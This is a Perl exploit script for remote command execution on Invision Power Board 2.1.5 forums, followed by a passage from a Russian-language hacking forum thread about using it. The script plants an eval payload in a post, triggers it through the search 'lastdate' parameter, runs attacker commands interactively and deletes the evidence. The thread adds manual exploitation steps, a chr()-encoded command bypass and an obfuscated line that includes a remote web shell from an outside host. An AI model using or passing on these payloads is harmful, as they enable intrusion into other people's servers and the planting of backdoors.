# There is no kwel comments in this release, wait for next upgrade
################################################## #####################/
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;
$| = 1; # ;1 = |$
my ($proxy,$proxy_user,$proxy_pass,$lang);
my ($arg_host,$debug,$ipb_user,$ipb_pass, $lang, $errors, $topic_index, $tmp_var);
my ($md5_key, $post_key, $tmp_var);
my %lang_es = (
'name' => 'Spanish Language',
'login' => "Ahora estas identificado",
'incorrect' => "Nombre de usuario o contrasena incorrectos",
'deleted' => "Tema Eliminado"
);
my %lang_en = (
'name' => 'English language',
'login' => "You are now logged in",
'incorrect' => "Sorry, we could not find a member using those log in details",
'deleted' => 'Topic Deleted',
);
my %lang_strings = ();
my $ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
my $options = GetOptions (
'host=s' => \$arg_host,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'ipb_user=s' => \$ipb_user,
'ipb_pass=s' => \$ipb_pass,
'lang=s' => \$lang,
'errors' => \$errors,
'debug' => \$debug);
my ($host, $forum_index) = $arg_host =~ m/(http.*?)index.*?showforum=(.*)/;
print "Host: $host\nForum Index: $forum_index\n" if $debug;
&help unless ($host);
# w0w0w0w0w0 is smarter than some one i know :D
if (!$lang) {
lang_autodetect();
print "Detected lang is: $lang_strings{'name'}\n" if $debug;
}
while (1){
print "invvy:\\> ";
my $cmd = <STDIN>;
&invvy($cmd);
}
sub invvy {
chomp (my $cmd = shift);
LWP::Debug::level('+') if $debug;
$ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
$ua->proxy(['http'] => $proxy) if $proxy;
my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
ipb_login (); # This works with redirects enabled/disabled
ipb_post(); # Post in a main forum.
ipb_exec ($cmd);
ipb_delete ($forum_index, $topic_index);
}
# guglucitos team presents:
sub help {
print "Syntax: ./$0 <url> [options]\n";
print "\t--ipb_user, --ipb_pass (needed if dont allow anonymous posts)\n";
print "\t--proxy (http), --proxy_user, --proxy_pass\n";
print "\t--lang=[es|en] (default: autodetect)\n";
print "\t--debug\n";
print "\t--errors\n";
print "\nExample\n";
print "bash# $0 --host=http://www.somehost.com/index.php?showforum=2\n";
print "\n";
exit(1);
}
# sponsorized by coca-cola
sub lang_autodetect {
my $req = HTTP::Request->new (GET => $host."/index.php");
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
if (($html =~ /Bienvenido,/) or ($html =~ /Fecha y Hora actual/)) {
%lang_strings = %lang_es;
return;
}
if (($html =~ /Welcome,/) or ($html =~ /Time is now/)) {
%lang_strings = %lang_en;
return;
}
print "Unknown lang switching to default: 'english'\n";
%lang_strings = %lang_en;
}
# login function for 2.1.5
sub ipb_login {
my $content;
my $h = $host."/index.php?act=Login&CODE=01";
print $h . "\n" if $debug;
my $req = POST $h,[
'referer' => $host,
'UserName' => $ipb_user,
'PassWord' => $ipb_pass,
'CookieDate' => 1
]; #grab these, and send to dsr!
print $req->as_string() if $debug;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Login in\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'login'}."\n$error\n- ERROR -\n";
}
if ($res->code() eq 302) {
$content = redirect ($res->header("Location"));
} else {
$content = $res->content();
}
if ($content =~ /$lang_strings{'login'}/ or $content =~ /Logged in as/) {
print "Logged in\n" if $errors;
} else {
die "Can't log in\n";
}
}
sub redirect {
my ($addr) = @_;
my $req = HTTP::Request->new (GET => $addr);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug; # MKSINK is r0xer
my $res = $ua->request($req);
my $html = $res->content();
return $html;
}
sub ipb_post {
# This is for posting into a main index.
my $h = $host."/index.php?act=post&do=new_post&f=".$forum_index;
my $req = HTTP::Request->new (GET => $h);
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug; #dirty_epic r0x++
my $res = $ua->request($req);
my $html = $res->content();
($md5_key) = $html =~ m/var ipb_md5_check\s+= \"(.*?)\"/;
($post_key) = $html =~ m/post_key' value='(.*?)'/;
print "AUTH check: $md5_key\n" if $debug;
print "POST key: $post_key\n" if $debug;
$tmp_var = int(rand(31337));
my $exploitme = 'eval(system(getenv(HTTP_'.$tmp_var.'))); //'; # seeeeeei la weeeeei
$h = $host."/index.php";
print $h."\n" if $debug;
my $req = POST $h, [
'st' => 0,
'act' => "Post",
's' => '',
'f' => $forum_index,
'auth_key' => $md5_key,
'removeattachid' => 0,
'MAX_FILE_SIZE' => 51200000,
'CODE' => '01',
'post_key' => $post_key,
'TopicTitle' => '514 pwned',
'TopicDesc' => '',
'poll_question' => '',
'ffont' => 0,
'fsize' => 0,
'Post' => $exploitme,
'post_htmlstatus' => 0,
'enableemo' => 'yes',
'enablesig' => 'yes',
'mod_options' => 'nowt',
'iconid' => 0,
'dosubmit' => 'Post New Topic'
];
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
print "Location: ".$res->header("Location") if $debug;
($topic_index) = $res->header("Location") =~ m/showtopic=(\d+)/;
if ($errors) {
print "[+] Context: Creating post\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
}
sub ipb_delete {
my ($fid, $tid) = @_;
my $req;
print "Deleting Topic: $tid from forum: $fid\n" if $debug;
my $h = $host."/index.php";
$req = POST $h, [
'st' => 0,
'act' => 'mod',
'f' => $fid,
'auth_key' => $md5_key,
'CODE' => '08',
't' => $tid,
'submit' => 'Delete this topic'
]; # fuck windows automatic reboot
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
my $res = $ua->request($req);
if ($errors) {
print "[+] Context: Deleting Topic\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: ".$lang_strings{'deleted'}."\n$error\n- ERROR -\n";
}
# yow yow
if ($res->code() eq 200) {
if ($res->content() =~ /$lang_strings{'deleted'}/) {
print "Topic $topic_index deleted\n" if $errors;
} else {
print "Maybe there was errors deleting post: $topic_index\n" if $errors;
}
}
}
# shhhhh this is hidden
sub ipb_exec {
my ($cmd) = @_;
my $h = $host."/index.php?act=Search&CODE=01";
my $req = POST $h, [
'keywords' => "HTTP_".$tmp_var,
'namesearch' => '',
'forums[]' => $forum_index,
'prune' => 0,
'prune_type' => 'newer',
'result_type' => 'posts',
'search_in' => 'posts',
'sort_key' => 'last_post',
'searchsubs' => '1'
];
print $req->as_string() if $debug;
$ua->proxy(['http'] => $proxy) if $proxy;
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
my $res = $ua->request($req);
my $html = $res->content();
my ($redir) = $html =~ m/url_bit.*?\"(.*?)\"/;
print "Redirect to: $redir\n" if $errors; # don't ask
if ($errors) {
print "[+] Context: First search\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
if ($res->code eq 302) {
$redir = $res->header("Location");
}
# piere - tonite is a great song
my $req = HTTP::Request->new (GET => $redir.'&lastdate=z|eval.*?%20//)%23e%00');
$ua->proxy(['http'] => $proxy) if $proxy;
$req->header($tmp_var => 'echo STARTXPL;'.$cmd.';echo ENDXPL');
$req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
print $req->as_string() if $debug;
my $res = $ua->request($req);
my $html = $res->content();
$html =~ m/STARTXPL(.*?)ENDXPL/s;
print $1."\n";
# no matter with you
if ($errors) {
print "[+] Context: Executed\n";
print "HTTP Error code: ".$res->code()."\n";
print "HTTP Location: ".$res->header("Location")."\n";
print "Topic Index: ".$topic_index."\n";
my ($error) = $res->content() =~ m/<body>(.*?)<\/body>/s;
print "- ERROR -\nFind string: none\n$error\n- ERROR -\n";
}
}
# be aware with la roca peoplee
Я юзал не чего не вышло) не есть гуд ИМХО
max_pain89
03.05.2006, 15:11
Если честно, то руками выходит быстрее. Особенно если заинклудить rst.
Может вылажишь мануал как руками?
Может вылажишь мануал как руками?Сколько можно мусолить тему? Уже и видео есть и мануалов несколько.
Мануал: http://forum.antichat.ru/showpost.php?p=146231&postcount=91
Читайте топик сначала.
а ты про это? да я это юзал и щас юзаю тему четал самого начала так что я прсто не понял очень он говарит думал что что то новенькое ивени.
Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.
Вставляю в сообщение eval(system(ls)); //' , выдаёт, как и надо, файлы на сервере, делаю eval(system(id)); //', работает, вообще, работают все команды из одного слова. Но когда пробую например ls -la, или which wget, то пишет ошибку. Но тогда и шелл нельзя залить... Что я делаю не так?
Black_Death
04.05.2006, 11:34
Попробуй кодирование команд, например eval(system(chr(108).chr(115).chr(32).chr(45).chr( 108).chr(97)).chr(59).exit());//
Может я дурак, но кроме phpinfo() ничего не выполняется :confused: положительный результат есть у кого?
а какие команды вобще существуют
и где можно почитать об них
Попробуй кодирование команд, например eval(system(chr(108).chr(115).chr(32).chr(45).chr( 108).chr(97)).chr(59).exit());//
Именно так и надо. Странно, в топике уже про это писали, а вопросы всё возникают. В видео тоже кто-то так делал и ссылку выкладывал.
а какие команды вобще существуют и где можно почитать об них
1. http://forum.antichat.ru/thread7345.html
2. Поиск по форуму.
3. Google.ru
eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
Include шелла RST. С ним все что угодно сделаете ;)
Тема выполнения произвольного кода на ИПБ закрыта. Всё что нужно для взлома в теме описано. Всё остальное в гугле. Ура!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot